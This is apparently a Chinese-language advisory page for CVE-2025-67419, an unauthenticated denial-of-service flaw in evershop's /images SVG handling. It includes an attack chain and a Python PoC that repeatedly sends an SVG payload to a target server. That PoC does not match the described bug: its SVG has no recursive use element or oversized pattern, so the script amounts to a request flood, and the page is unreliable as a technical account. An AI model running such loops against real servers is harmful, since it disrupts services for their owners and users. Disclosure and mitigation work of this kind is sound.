IPBUF安全漏洞报告
English
CVE-2025-67419 CVSS 7.5 高危

CVE-2025-67419: evershop /images API 拒绝服务漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-67419
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
evershop

相关标签

拒绝服务SVG注入资源耗尽evershopCVE-2025-67419

漏洞概述

evershop 2.1.0及更早版本存在拒绝服务漏洞,攻击者可通过访问GET /images API耗尽服务器资源。该漏洞源于应用在处理SVG文件时未限制use-element阴影树高度或pattern瓦片尺寸,导致无限制的资源消耗,最终造成系统级DoS。无需认证即可利用此漏洞。

技术细节

漏洞位于SVG图像处理逻辑中,当应用接收到包含恶意构造的SVG文件请求时,未能正确验证和限制资源的分配。攻击者通过精心设计的SVG payload,利用use元素或pattern元素触发递归或无限循环,导致CPU和内存耗尽。

攻击链分析

STEP 1
侦察
攻击者识别运行evershop的目标服务器
STEP 2
漏洞利用
通过GET /images API发送恶意SVG payload
STEP 3
资源耗尽
SVG处理导致CPU和内存资源被无限消耗
STEP 4
拒绝服务
服务器无响应,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests url = 'http://target:3000/images' payload = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg"><use href="#x"/><defs><rect id="x"/></defs></svg>' while True: try: response = requests.get(url, params={'file': payload}) print(f'Status: {response.status_code}') except Exception as e: print(f'Error: {e}') break

影响范围

evershop <= 2.1.0

防御指南

临时缓解措施
暂时禁用/images API端点,或配置Web应用防火墙规则限制请求频率和文件大小

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表